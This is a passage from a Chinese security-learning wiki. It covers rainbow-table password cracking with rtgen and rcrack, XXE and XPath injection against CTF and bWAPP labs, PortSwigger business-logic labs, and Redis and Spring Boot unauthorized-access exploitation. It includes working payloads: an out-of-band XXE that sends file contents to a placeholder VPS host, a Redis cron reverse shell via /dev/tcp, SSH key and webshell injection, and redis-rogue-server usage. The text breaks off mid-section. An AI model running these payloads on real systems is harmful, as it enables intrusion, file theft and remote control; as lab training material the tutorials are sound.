而Windows端我们使用rainbowcrack即可 rtgen生成rtgen支持算法:LanMan、NTLM、MD2、MD4、MD5、SHA1以及RIPEMD160 本次操作实例为使用rtgen生成MD5彩虹表 在Kali Linux中使用rtgen生成的彩虹表都默认保存在该目录下:/usr/share/rainbowcrack 运行该工具输出帮助命令 1234567891011121314151617181920┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen RainbowCrack 1.8版权所有2020年彩虹表项目.保留所有权利.http://project-rainbowcrack.com/用法: rtgen 哈希算法 字符集 最小明文长度 最大明文长度 表索引 链长度 链数量 分块索引rtgen 哈希算法 字符集 最小明文长度 最大明文长度 表索引 -bench已实现的哈希算法: lm HashLen=8 PlaintextLen=0-7 ntlm HashLen=16 PlaintextLen=0-15 md5 HashLen=16 PlaintextLen=0-15 sha1 HashLen=20 PlaintextLen=0-20 sha256 HashLen=32 PlaintextLen=0-20示例: rtgen md5 loweralpha 1 7 0 1000 1000 0 rtgen md5 loweralpha 1 7 0 -bench 可以分析看到,rtgen通过不同的数字限制操作生成的彩虹表面积 同时指定loweralpha以生成为abcdefghjklmnopqrstuvwxyz的rainbow tables 参数分析 code explanation hash_algorithm 该参数以指定Hash算法目前rtgen支持算法如下:lm、ntlm、md5、sha1、mysqlsha1、halflmchall、ntlmchall、oracle-SYSTEM和md5-half charset 该参数以指定不同的字符集,包括了明文所有可能字符,该参数在配置文件/usr/share/rainbowcrack/charset.txt中被定义,其中包括其他指定 plaintext_len_min 该参数指定为使用明文生成的最小长度 plaintext_len_max 该参数指定为使用明文生成的最大长度,两个参数是共同作用,如果我们指定为loweralpha 1 7 那么则会生成a-f的不同长度彩虹链 table_index 该参数指定归约函数,关于归约函数的概念我们上方提过了,以及简述生成彩虹表的归约函数不同又有什么作用 chain_len 该参数指定每一条彩虹链的长度,更长的彩虹链存储更多的明文,需要更长的时间来生成 chain_num 该参数指定要生成彩虹链的数量,彩虹表只是彩虹链的阵列.每个彩虹链的大小为16个字节 part_index 该参数意义忽视即可,在生成彩虹表时,均以0值操作 生成彩虹表 通常情况下,我们会生成彩虹表使用不同的归约函数,来代替庞大的彩虹链数量,以节省时间,同时提高成功率 这里就生成两张彩虹表参考即可 最终生成的彩虹表会在其默认目录下/usr/share/rainbowcrack 1234567891011121314151617181920212223242526272829303132333435363738394041424344454647484950515253545556575859606162636465666768697071# 生成以MD5散列值、明文组合为a-z最小长度为1,最大长度为10的彩虹表,并且每一条彩虹链长度为2000,增加我们生成的彩虹表大小,生成8000个彩虹链,最终组成彩虹表┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 1 10 0 2000 80000 0rainbow table md5_loweralpha#1-10_0_2000x80000_0.rt parametershash algorithm: md5hash length: 16charset name: loweralphacharset data: abcdefghijklmnopqrstuvwxyzcharset data in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a charset length: 26plaintext length range: 1 - 10reduce offset: 0x00000000plaintext total: 146813779479510sequential starting point begin from 0 (0x0000000000000000)generating...80000 of 80000 rainbow chains generated (0 m 15.2 s)# 我们同样可以猜测密码长度...这只是时间问题和大小问题罢了┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 4 5 0 2000 80000 0# 使用不同的归约函数┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 4 5 1 2000 80000 0rainbow table md5_loweralpha#4-5_1_2000x80000_0.rt parametershash algorithm: md5hash length: 16charset name: loweralphacharset data: abcdefghijklmnopqrstuvwxyzcharset data in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a charset length: 26plaintext length range: 4 - 5reduce offset: 0x00010000plaintext total: 12338352sequential starting point begin from 0 (0x0000000000000000)generating...80000 of 80000 rainbow chains generated (0 m 12.2 s)┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 4 5 2 2000 80000 0rainbow table md5_loweralpha#4-5_2_2000x80000_0.rt parametershash algorithm: md5hash length: 16charset name: loweralphacharset data: abcdefghijklmnopqrstuvwxyzcharset data in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a charset length: 26plaintext length range: 4 - 5reduce offset: 0x00020000plaintext total: 12338352sequential starting point begin from 0 (0x0000000000000000)generating...80000 of 80000 rainbow chains generated (0 m 12.0 s) ┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtgen md5 loweralpha 4 5 3 2000 80000 0rainbow table md5_loweralpha#4-5_3_2000x80000_0.rt parametershash algorithm: md5hash length: 16charset name: loweralphacharset data: abcdefghijklmnopqrstuvwxyzcharset data in hex: 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d 6e 6f 70 71 72 73 74 75 76 77 78 79 7a charset length: 26plaintext length range: 4 - 5reduce offset: 0x00030000plaintext total: 12338352sequential starting point begin from 0 (0x0000000000000000)generating...80000 of 80000 rainbow chains generated (0 m 12.1 s) rtsort 排序生成好了彩虹表,我们应当对其进行排序,以帮助我们更快速的破解 1234567891011121314151617181920212223242526# 这里有个坑,指定文件名无法排序┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rtsort . ./md5_loweralpha#4-5_2_2000x80000_0.rt:3139784704 bytes memory availableloading data...sorting data...writing sorted data..../md5_loweralpha#4-5_3_2000x80000_0.rt:3139784704 bytes memory availableloading data...sorting data...writing sorted data..../md5_loweralpha#4-5_1_2000x80000_0.rt:3139784704 bytes memory availableloading data...sorting data...writing sorted data..../md5_loweralpha#1-10_0_2000x80000_0.rt:3139784704 bytes memory availableloading data...sorting data...writing sorted data... rcrcak破解1234567891011121314151617181920212223242526┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rcrack -hRainbowCrack 1.8Copyright 2020 RainbowCrack Project. All rights reserved.http://project-rainbowcrack.com/usage: ./rcrack path [path] [...] -h hash ./rcrack path [path] [...] -l hash_list_file ./rcrack path [path] [...] -lm pwdump_file ./rcrack path [path] [...] -ntlm pwdump_filepath: directory where rainbow tables (*.rt, *.rtc) are stored-h hash: load single hash-l hash_list_file: load hashes from a file, each hash in a line-lm pwdump_file: load lm hashes from pwdump file-ntlm pwdump_file: load ntlm hashes from pwdump fileimplemented hash algorithms: lm HashLen=8 PlaintextLen=0-7 ntlm HashLen=16 PlaintextLen=0-15 md5 HashLen=16 PlaintextLen=0-15 sha1 HashLen=20 PlaintextLen=0-20 sha256 HashLen=32 PlaintextLen=0-20examples: ./rcrack . -h 5d41402abc4b2a76b9719d911017c592 ./rcrack . -l hash.txt 参数 释义 -h -h指定单个散列值破解 -l 若散列Hash值较多,可以保存在一个文件中,-l指定读取散列值文件内的散列进行破解 -lm 加载有关Windows 2003内比较老的机器的系统散列值加密算法lm散列文件,与上一个指令相同,他的不同就在于:若破解有关的lm的多个散列组成的文件,需要指定 -ntlm 与-lm相同,ntlm是Windows现如今流行的系统加密算法 1234567891011121314151617181920212223242526272829┌──(root㉿kill3r)-[/usr/share/rainbowcrack]└─# rcrack . -h 21232f297a57a5a743894a0e4a801fc34 rainbow tables foundmemory available: 2510874214 bytesmemory for rainbow chain traverse: 32000 bytes per hash, 32000 bytes for 1 hashesmemory for rainbow table buffer: 4 x 1280016 bytesdisk: ./md5_loweralpha#1-10_0_2000x80000_0.rt: 1280000 bytes readdisk: ./md5_loweralpha#4-5_1_2000x80000_0.rt: 1280000 bytes readdisk: ./md5_loweralpha#4-5_2_2000x80000_0.rt: 1280000 bytes readdisk: ./md5_loweralpha#4-5_3_2000x80000_0.rt: 1280000 bytes readdisk: finished reading all filesplaintext of 21232f297a57a5a743894a0e4a801fc3 is adminstatistics----------------------------------------------------------------plaintext found: 1 of 1total time: 0.40 stime of chain traverse: 0.39 stime of alarm check: 0.00 stime of disk read: 0.01 shash & reduce calculation of chain traverse: 3996000hash & reduce calculation of alarm check: 896number of alarm: 130performance of chain traverse: 10.22 million/sperformance of alarm check: 0.45 million/sresult----------------------------------------------------------------21232f297a57a5a743894a0e4a801fc3 admin hex:61646d696e"},{"title":"十二. XXE&XPath","path":"/wiki/VulnerabilityInsightDocs/十二. XXE&XPath.html","content":"总字符数: 7.72K 代码: 2.90K, 文本: 2.62K 预计阅读时间: 24 分钟 XXE概念 XXE注入,即XML External Entity,XML外部实体注入.通过XML实体,”SYSTEM”关键词导致XML解析器可以从本地文件或者远程URI中读取数据.所以攻击者可以通过XML实体传递自己构造的恶意值,使处理程序解析它.当引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害. XML相关知识XML定义 XML:可扩展标记语言 标准通用标记语言的子集,是一种用于标记电子文件使其具有结构性的标记语言.它被设计用来传输和存储数据(而不是储存数据),可扩展标记语言是一种很像超文本标记语言的标记语言.它的设计宗旨是传输数据,而不是显示数据.它的标签没有被预定义.您需要自行定义标签.它被设计为具有自我描述性.它是W3C的推荐标准. XML由3个部分构成, 文档类型定义( Document Type Definition , DTD) , 即XML的布局语言 文档类型定义(DTD) 可定义合法的XML文档构建模块.它使用一系列合法的元素来定义文档的结构.DTD可被成行地声明于XML文档中,也可作为一个外部引用.通过DTD ,每一个XML文件均可携带一个有关其自身格式的描述、独立的团体可一致地使用某个标准的DTD来交换数据、应用程序也可使用某个标准的DTD来验证从外部接收到的数据, 还可以使用DTD来验证自身的数据. 可扩展的样式语言(Extensible Style Language , XSL) , 即XML的样式表语言 可扩展链接语言(Extensible Link Language , XLL) 可扩展标记语言(XML)和超文本标记语言(HTML)为不同的目的而设计, XML被设计用来传输和存储数据,其焦点是数据的内容 HTML被设计用来显示数据,其焦点是数据的外观 XML不会做任何事情,XML被设计用来结构化、存储以及传输信息.它仅仅是包装在XML标签中的纯粹的信息.我们需要编写软件或者程序,才能传送、接收和显示出这个信息 XML没什么特别的.它仅仅是纯文本而已.有能力处理纯文本的软件都可以处理XML.不过,能够读懂XML的应用程序可以有针对性地处理XML的标签.标签的功能性意义依赖于应用程序的特性 内部文档声明 ​ XML文档类型声明,俗称DTD,是一种方式来描述XML语言准确.检查的DTD对词汇的适当的XML语言的语法规则的XML文档的结构和有效性. ​ 一个XML的DTD既可以在文档中指定的,或者它可以被保存在一个单独的文件中,并且可以分别连结. ​ 一个DTD被称为内部DTD,如果元素的XML文件中声明.以指它作为内部DTD,XML声明中的独立属性必须设置为yes.这意味着,在声明的工作独立于外部源. 语法12<!-- 这是根元素声明的名称. --><!DOCTYPE root-element [element-declarations]> 示例123456789101112131415161718<!--这是XML声明,指定了XML版本(1.0)、字符编码(UTF-8),以及文档是否独立(standalone="yes"表示是独立文档)--><?xml version="1.0" encoding="UTF-8" standalone="yes" ?><!--这是文档类型声明(Document Type Definition,DTD),它定义了XML文档的结构和允许的元素.在这里,声明了address元素可以包含name、company和phone元素.#PCDATA表示Parsed Character Data,即文本数据.--><!DOCTYPE address [ <!ELEMENT address (name,company,phone)> <!ELEMENT name (#PCDATA)> <!ELEMENT company (#PCDATA)> <!ELEMENT phone (#PCDATA)>]><!--<address>: 这是XML文档的根元素,表示地址信息.--><address>\t<!-- 表示姓名信息,<name>是address元素的子元素,包含了名字 "Tanmay Patil".--> <name>Tanmay Patil</name>\t<!--表示公司信息,<company>是address元素的子元素,包含了公司名 "YiiBai".--> <company>YiiBai</company>\t<!--表示电话信息,<phone>是address元素的子元素,包含了电话号码 "(011) 123-4567".--> <phone>(011) 123-4567</phone></address> 规则 文档类型声明必须出现在文件(仅由XML头之前)的开始 - 它不是在文档中允许的其他地方. 类似的DOCTYPE声明,该声明的元素必须以感叹号. 在文档类型声明的名称必须与根元素的元素类型相匹配. 外部文档声明 在外部DTD元素的XML文件外声明.它们是通过指定其可以是法律.dtd文件或一个有效的URL,系统的属性进行访问.是指它作为外部DTD,XML声明standalone属性必须设置为no.这意味着,声明中包含从外部源信息. 外部dtd12<!-- 其中filename是.dtd扩展名的文件. --><!DOCTYPE root-element SYSTEM "file-name"> 引入外部DTD123456789101112<?xml version="1.0" encoding="UTF-8" standalone="no" ?><!-- 使用外部DTD引用,指定了address.dtd文件 --><!DOCTYPE address SYSTEM "address.dtd"><!-- address元素包含了个人信息 --><address> <!-- name元素包含了个人姓名 --> <name>Tanmay Patil</name> <!-- company元素包含了公司信息 --> <company>YiiBai</company> <!-- phone元素包含了电话号码 --> <phone>(011) 123-4567</phone></address> address.dtd12345678<!-- 定义了address元素,包含了name、company、phone三个子元素 --><!ELEMENT address (name, company, phone)><!-- 定义了name元素,包含了文本数据 (#PCDATA) --><!ELEMENT name (#PCDATA)><!-- 定义了company元素,包含了文本数据 (#PCDATA) --><!ELEMENT company (#PCDATA)><!-- 定义了phone元素,包含了文本数据 (#PCDATA) --><!ELEMENT phone (#PCDATA)> 类型您可以通过使用系统标识符和公共标识符引用一个外部DTD. 1234567891011121314<!-- 使用系统标识符引用外部DTD --><!DOCTYPE address SYSTEM "address.dtd"><address> <name>Tanmay Patil</name> <company>YiiBai</company> <phone>(011) 123-4567</phone></address><!--使用公共标识符引用外部DTD--><!DOCTYPE address PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><address> <name>Tanmay Patil</name> <company>YiiBai</company> <phone>(011) 123-4567</phone></address> XML协议支持 Libxml2 PHP Java .NET file file http file http http https http ftp ftp ftp https php file ftp compress.zlib jar compress.zlib2 netdoc data mailto glob XXE危害 任意文件读取 内网端口探测 拒绝服务攻击 钓鱼 XXE利用带内利用web373 12345678<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE XXE [<!ENTITY cmd SYSTEM "file:///flag">]><creds><ctfshow>&cmd;</ctfshow></creds> 带外利用(无回显)web374 以下内容是dtd文件内容用python起一个临时Web服务python3 -m http.server 8080 123456<!-- 定义一个实体,其内容为包含远程文件的实体 --><!ENTITY % dtd "<!ENTITY &#x25; xxe SYSTEM 'http://VPS_IP:7777/%file;'>"><!-- 引入上述定义的实体 -->%dtd;<!-- 执行远程文件读取的实体 -->%xxe; 服务器再起一个临时Web服务用于接收带外的结果 python3 -m http.server 7777 12345678910111213141516171819202122232425262728293031<!DOCTYPE ANY [ <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!ENTITY % aaa SYSTEM "http://VPS_IP:8080/eval.dtd"> %aaa;]><creds> <ctfshow> 1 </ctfshow></creds><!DOCTYPE ANY [ <!-- 定义一个实体以读取 /flag 文件并将其编码为 Base64 --> <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=/flag"> <!-- 定义一个实体指向远程 DTD 文件 --> <!ENTITY % aaa SYSTEM "http://VPS_IP:8080/eval.dtd"> <!-- 包含远程 DTD 文件的内容 --> %aaa;]><creds> <ctfshow> 1 </ctfshow></creds> XXE防御为了防止XXE漏洞的攻击,我们可以采取以下措施: 禁用外部实体:在解析XML文档时,可以禁用外部实体解析功能,以防止攻击者注入恶意实体. 使用安全的解析器:选择安全的XML解析器可以降低XXE漏洞的风险,例如使用JAXP中的Secure Processing功能. 输入验证:在接收XML数据时,应对输入数据进行验证,过滤掉恶意实体和DTD文件等. 增加安全头:在HTTP响应头中增加X-Content-Type-Options和Content-Security-Policy等安全头,以增加Web应用程序的安全性. 使用白名单:在处理XML数据时,应使用白名单来限制实体和属性的值,只允许合法的输入. 应用安全补丁:及时更新Web应用程序和相关组件的安全补丁,以修复已知的XXE漏洞. 安全配置:合理配置Web服务器和Web应用程序的安全策略,如限制文件上传、禁止目录列表等. 总结XXE(XML外部实体注入)漏洞是一种常见的Web安全漏洞,攻击者可以利用该漏洞访问系统文件、获取敏感信 息、执行远程代码等,造成严重的安全风险. 为了避免XXE漏洞的出现,应当采取以下措施: 合理配置XML解析器,禁用外部实体和参数实体功能. 防火墙或WAF过滤恶意XML请求. 对于XML输入,应使用白名单过滤. 对于使用XML作为传输协议的应用程序,应该使用HTTPS来加密通信. 定期更新相关组件和库,以修复已知的漏洞. 检查代码,避免编写容易受到XXE攻击的代码. 总之,XXE漏洞是一个需要引起重视的安全风险,开发者和运维人员需要采取有效的措施来防止其出现.同 时,建议安全专家和安全工程师在进行系统安全测试时,重点关注XXE漏洞的检测和修复. Xpath简介 XPath (XML路径语言)是-种用于导航XML文件文档并从中获取数据的语言.许多时候,一个XPath表达式可以代表个文档节点导航到另一个文档节点所需要的一系列步骤: WEB应用程序将数据保存在XML文档中 使用XPath访问数据,以响应用户提交的输入 输入未经过过滤就插入到XPath查询语句中 攻击者就可以通过控制查询语句来破坏网站应用程序的逻辑,或者获取未授权访问的数据. 漏洞复现 bWAPP的XML/XPath Injection (Login Form)下面我们输入一个单引号,然后在页面出现了XPath报错: 查询登录应该是,同时查询用户输入的用户名和密码,符合则允许登录.那么其XPath代码应该是/xxxx/xxxx/[login='$用户输入用户名' and password='$用户输入密码']其中XXXX代表节点路径, 如果用户的输入被XPath查询到则登入验证通过.我们可以构造如下代码admin' or 'a'='a' or '那么理想的化,代码会变成这样: /xxxx/xxxx/[login='admin' or 'a'='a' or '' and password='$用户输入密码'] 万能密码登录成功 bWAPP靶场的XML/XPath Injection (Search) 这是一个网页搜索功能,当我们点击Search时会得到一系列数据.其后端没有数据库,是通过XPath语言实现的. 当我们在urlI中的genre参数中加一个引号,网页也出现了XPath报错 根据前文对XPath语言特征的描述.我们猜测其代码应该是以下两种形式: /xxx/xxx/[genre='$由用户输入']/movie ``/xxx/xxx/[contains(genre,’$由用户输入’)]/movie` contains表模糊查询.这两个语句的区别是 前一个是要在genre节点下精确匹配到一个值, 第二个是要在genre节点下模糊匹配一个值. 我们可以首先尝试闭合 我们分别插入1']/movie和1')]/move看看哪个可以闭合.前者报错.后者没有报错,闭合成功.由此我们确定了, XPath语句应该写成这样:/xxx/xxx/ [contains(genre, ' $由用户输入')]/movie 构造Payload:action')]|//*|//*[contains ('1', '1 那么理想情况下代码会变成这样: /xxx/xxx/[contains(genre,'action')]|//*|//*[contains('1','1')]/movie分别构成了三个查询 /xxx/xxx/[contains(genre,'action')] //* //*[conains('1','1')]/movie 其中只有//*返回字符 /xxx/xxx/[contains(genre,'action')]只是匹配了一下action节点,代码需要、/xxx/xxx/[contains(genre,'action')]/movie才可能返回值. 第三个,只是模糊匹配了一下1=1 只有//*返回从根节点开始选取文档中的所有元素. 执行成功"},{"title":"十四. 业务逻辑漏洞","path":"/wiki/VulnerabilityInsightDocs/十四. 业务逻辑漏洞.html","content":"总字符数: 9.66K 代码: 无, 文本: 2.49K 预计阅读时间: 11 分钟 一、什么是业务逻辑漏洞?​\t业务逻辑漏洞就是指攻击者利用业务/功能上的设计缺陷,获取敏感信息或破坏业务的完整性.一般出现在密码修改、越权访问、密码找回、交易支付金额等功能处. 逻辑漏洞的破坏方式并非是向程序添加破坏内容,而是利用逻辑处理不严密或代码问题或固有不足,进行漏洞利用的一个方式. https://portswigger.net/web-security/logic-flaws/exampleshttps://portswigger.net/web-security/logic-flaws/examples 二、BP靶场之11关 Security Issue Description Excessive trust in client-side controls 过度信任客户端控件 High-level logic vulnerability 高级逻辑漏洞 Inconsistent security controls 不一致的安全控制 Flawed enforcement of business rules 业务规则执行上的缺陷 Low-level logic flaw 低级逻辑缺陷 Inconsistent handling of exceptional input 异常输入的不一致处理 Weak isolation on dual-use endpoint 两用端点上的弱隔离 Insufficient workflow validation 工作流验证不足 Authentication bypass via flawed state machine 通过有缺陷的状态机绕过认证 Infinite money logic flaw 无限金钱逻辑缺陷 Authentication bypass via encryption oracle 通过加密oracle绕过身份验证 三、靶场实践1、Excessive trust in client-side controls(过度信任客户端控件) 用户可控数据:一个根本性的错误假设是用户将只通过提供的Web界面与应用程序交互,导致进一步假设客户端验证将防止用户提供恶意输入.但攻击者可以简单地使用Burp Proxy等工具,在浏览器发送数据之后、传递到服务器端逻辑之前篡改数据.这实际上使客户端控件变得无用 数据完整性检测:如果只接受数据的表面价值,而不执行适当的完整性检查和服务器端验证,攻击者就可以以相对最小的努力进行各种破坏.它们能够实现的具体效果取决于功能以及它对可控数据所做的操作.在适当的情况下,这种缺陷可能会对业务相关功能和网站本身的安全性造成破坏性后果. 然后我们查看一下HTPTP历史,寻找具有支付信息的数据包 然后我们将这个数据包发送给repeater(也就是重发器) 发送到重发器后进行更改金额 关闭代理刷新一下,然后看一下刷新后的页面 点击支付后,这个靶场就会显示通关 2、High-level logic vulnerability(高级逻辑漏洞) 抓一个发现没有价格金额这个参数 但是我们发现这个数目可以是负数,那我们就试一下是否可以增加其他的商品,试一下是否可以将他们的数目更改为负数. 然后我们进行抓包,查看是否能更改数目为负数 但是我们的余额为100,所以还得继续增加负数,直到价格合适 成功 3、Inconsistent security controls(不一致的安全控制) 然后登录的时候发现还是不行,那就看一下页面中的其他信息,其中EMAIl client 然后我们重新注册一下 重新到email client中 发现注册成功 删除后发现成功了 4、Flawed enforcement of business rules(商业规则的执行有缺陷)这里其实是一个优惠卷重复使用 发现弹窗 但是总体价格还是不够,尝试一下能不能再重复利用一下 发现只能交替使用 5、Low-level logic flaw(低级逻辑缺陷) 修改数值为99(100和负数不行),并发送,这里不使用负载相当于重放攻击 接下来添加另一个商品,将总金额控制在100一下 价格上可以进行改动一下 6、Inconsistent handling of exceptional input(异常输入的不一致处理)7、Weak isolation on dual-use endpoint(两用端点上的弱隔离)登录我们自己的账号后出现以下页面 我们可以尝试对账号密码进行修改,是否可以修改其他人的账号密码,先抓个包测试一下 删除后发现修改成功 我们继续尝试修改username为administrator 修改成功,我们用这个账号重新登录 然后删除,修改成功 8、Insufficient workflow validation(工作流验证不足)这里我们先随便买一个在100刀以内的商品,看一下流程 现在我们买皮夹克,虽然价格不够,但是我们再观察观察 抓个包分析一下 跟上面的数据包对比一下,发现POST和GET传的不一样,我们修改一下,尝试一下 一直放包,可以购买成功 9、Authentication bypass via flawed state machine(通过有缺陷的状态机绕过认证)先按照自己的账号登录一下 发现这里有个身份的选择 抓个包看一下 对比一下,发现好像没啥区别,但是我们尝试一下删除/role-selector直接访问首页,因为跳过了角色选择默认为administrator当访问首页是以administrator权限进行访问的因此会有Admin panel,再登录页面登录,我们再废掉这个身份选择这个数据包 删除rola-selector这个路径 发现出现amin panel这个页面 10、Infinite money logic flaw(无限金钱逻辑缺陷) 获得优惠卷 使用优惠券购买Gift Card礼品卡(礼品卡相当于一个10元的购物券可以赠送),当用3元优惠券购买10元的礼品卡,就相当于7元购买了10元然后再进行使用用户的余额就会多了3元将优惠券金额转换为真实的余额. 如果优惠券可以重复使用,就可以利用该操作达到无限金额的效果,成功复用优惠券,接下来就用bp的宏指令 找到以下几个页面 继续给第五个配置项目 线程设置为1 11、Authentication bypass via encryption oracle(通过加密oracle绕过身份验证)"},{"title":"十三. 未授权访问","path":"/wiki/VulnerabilityInsightDocs/十三. 未授权访问.html","content":"总字符数: 17.65K 代码: 6.99K, 文本: 3.65K 预计阅读时间: 46 分钟 redisredis利用方式 ssh-key redis以root用户运行 ssh端口开放并且权限够大 定时任务 redis以root用户运行 了解定时任务常见的目录 写入webshell redis以root用户运行 网站根目录 主从复制Rce 适用版本redis4.x/5.x WebShell1234# 修改redis.conf文件# 关闭默认情况下安全模式bind 127.0.0.1 # 前面加上#号protected-mode # 设为no= 1234config set dir /www/admin/localhost_80/wwwroot/config set dbfilename 1.phpset x "<?php phpinfo();?>"save ssh-key shell12345# centos受害机wget https://download.redis.io/releases/redis-4.0.5.tar.gztar -zxvf redis-4.0.5.tar.gzcd redis-4.0.5/make && make install ssh-keygen -t rsa (echo -e " "; cat id_rsa.pub; echo -e " ") > foo.txt然后将公钥写入 foo.txt 文件 连接 Redis 写入文件 1234567891011cat ~/.ssh/foo.txt | redis-cli -h 192.168.164.129 -x set crackitredis-cli -h 192.168.164.129$ 192.168.164.129:6379> config set dir /root/.ssh/OK$ 192.168.164.129:6379> config get dir1) "dir"2) "/root/.ssh"$ 192.168.164.129:6379> config set dbfilename "authorized_keys"OK$ 192.168.164.129:6379> saveOK 这样就可以成功的将自己的公钥写入 /root/.ssh 文件夹的 authotrized_keys 文件里,然后攻击者直接执行:ssh -i id_rsa root@192.168.164.129即可远程利用自己的私钥登录该服务器.当然,写入的目录不限于 /root/.ssh 下的authorized_keys,也可以写入用户目录,不过 Redis 很多以 root 权限运行,所以写入 root 目录下,可以跳过猜用户的步骤. 计划任务:error限制条件:Redis服务使用ROOT账号启动And Redis版本为4.0.5 1234wget https://download.redis.io/releases/redis-4.0.5.tar.gztar -zxvf redis-4.0.5.tar.gzcd redis-4.0.5/make && make install 1234set xx " * * * * * bash -i >& /dev/tcp/IP/8888 0>&1 "config set dir /var/spool/cron/config set dbfilename rootsave 主从复制随着现代的服务部署方式的不断发展,组件化成了不可逃避的大趋势,docker就是这股风潮下的产物之一,而在这种部署模式下,一个单一的容器中不会有除redis以外的任何服务存在,包括ssh和crontab,再加上权限的严格控制,只靠写文件就很难再getshell了,在这种情况下,我们就需要其他的利用手段了。 然后关于Redis主从复制的一些问题,REDIS主从复制的疑问: redis主从复制 什么是主从模式呢? 主从模式就是指使用一个Redis实例作为主机,其他实例都作为备份机,其中主机和从机数据相同,而从机只负责读,主机只负责写,通过读写分离可以大幅度减轻流量的压力,算是一种通过牺牲空间来换取效率的缓解方式。 什么是主从复制呢? 跟所有的数据库的主从复制一样,为了备份和提高性能。有一台主服务器,n台从服务器,从服务器会实时备份主服务器数据。 Redis4.x以上外部拓展 在 Redis 4.x 版本之后,Redis 增加了模块功能。通过这个功能,我们可以通过外部拓展的方式,在 Redis 中实现一个新的 Redis 命令。具体做法是使用 C 语言编写代码,并将其编译为一个动态链接库文件(.so 文件)。 这样做的好处是,我们可以在 Redis 中添加自定义的功能,而不需要修改 Redis 的核心代码。通过编写 C 语言代码并编译成动态链接库,我们可以将这个库加载到 Redis 中,并且让 Redis 识别并执行其中定义的新命令。这样就能够在 Redis 中拥有额外的功能和灵活性。 总结起来,新增的模块功能允许我们使用 C 语言编写扩展代码,将其编译成 .so 文件,并将其加载到 Redis 中,从而实现在 Redis 中添加新的自定义命令,以扩展 Redis 的功能。 利用原理在 Redis 的主从模式中,主机实例可以通过 FULLRESYNC 将数据同步到从机上。FULLRESYNC 是一种全量同步的机制,用于确保从机上的数据与主机一致。 然后,在从机上加载 .so 文件,我们可以执行拓展的新命令。这是因为在 Redis 的主从复制中,主服务器不仅会将数据复制到从服务器上,还会将自己的配置信息传递给从服务器。其中包括已加载的模块信息。 通过 FULLRESYNC 同步文件到从机上后,从机将具有与主机相同的数据和配置信息,包括已加载的 .so 文件。因此,在从机上可以直接使用已加载的模块,执行拓展的新命令。 Redis主从复制GetShell过程 本地编译好外部扩展即so文件 把so文件转码存入本地redis数据库 到目标服务器上设置主从关系,主服务器指定我们的本地机子 待同步后,设置备份路径和备份文件名(xx.so) 开始同步,备份数据库 然后加载备份数据库 然后就可以通过redis执行命令反弹shell了 12345在 Redis 主从复制中,目标机器并不是直接保存转译好的 so 文件的原因如下:\t1. 数据同步:主从复制的主要目的是将主服务器的数据复制到从服务器上。通过复制数据而不是直接传输二进制文件,可以确保从服务器与主服务器保持同步,并在主服务器更新时及时获取最新的数据。\t2. 灵活性:Redis 的主从复制机制可以实现多个从服务器复制一个主服务器的数据;同时,一个从服务器也可以作为另一个从服务器的主服务器。这种灵活性使得系统可以根据需求进行扩展和配置,适应不同的业务场景。\t3. 故障恢复:主从复制提供了故障恢复的能力。如果主服务器发生故障,从服务器可以被升级为新的主服务器,从而继续提供服务。这样可以减少系统中断时间,提高可用性。\t4. 负载均衡:通过将负载分布到多个从服务器上,主从复制可以提供负载均衡的能力。这样可以降低主服务器的负载压力,并提高整个系统的性能和可伸缩性。 复现过程123456wget https://download.redis.io/releases/redis-5.0.7.tar.gztar -zxvf redis-5.0.7.tar.gz\tcd make MALLOC=libcmake installvim redis.conf 123bind 127.0.0.1 ::1 这行注释掉,这样一来redis-server 的 host 就默认是 0.0.0.0,protected-mode yes 改成 protected-mode no,关闭默认打开 保护模式这个选项[root@vulhub redis-5.0.7]# ./src/redis-server redis.conf 1234567# Kaligit clone https://github.com/n0b0dyCN/redis-rogue-server.gitcd redis-rogue-server-master┌──(root㉿kill3r)-[/opt/redis/redis-rogue-server-master]└─# python3 redis-rogue-server.py --rhost 192.168.64.160 --lhost 192.168.64.21#i是正向Shell# r是反向Shell 注意事项 主从rce使用后容易把目标redis服务打挂,尽量不要过多使用,同时使用之前尽量先准备好权限维持的手段。 rce脚本会修改目标redis的配置项dbfilename和slaveof,事后要记得改回来。 redis外部拓展的利用redis外部拓展可以加载自己想要的任何东西,应用也十分广泛,不仅仅是执行命令。 后门的制作 绕过一些无法执行命令的场景(如php_disable_fuction) Spring Boot 未授权whitelabel error page SpEL RCE利用条件 spring boot 1.1.0-1.1.12、1.2.0-1.2.7、1.3.0 至少知道一个触发 springboot 默认错误页面的接口及参数名 原理 ​\tspring boot 处理参数值出错,流程进入org.springframework.util.PropertyPlaceholderHelper 类中,此时 URL 中的参数值会用 parseStringValue 方法进行递归解析.其中 ${} 包围的内容都会被org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞. SPEL简介 Spring Expression Language(简称SpEL)是一种强大的表达式语言,支持在运行时查询和操作对象图.语言语法类似于统一 EL,但提供了额外的功能,最显着的是方法调用和基本的字符串模板功能 类似表达式:OGNL、MVEL、Jboss EL等等 漏洞复现 找到传参点比如发现访问/article?id=xxx ,页面会报状态码为 500 的错误: Whitelabel Error Page,则后续payload都将会在参数id处尝试 执行SpEL表达式输入 /article?id=,如果发现报错页面将 7*7 的值 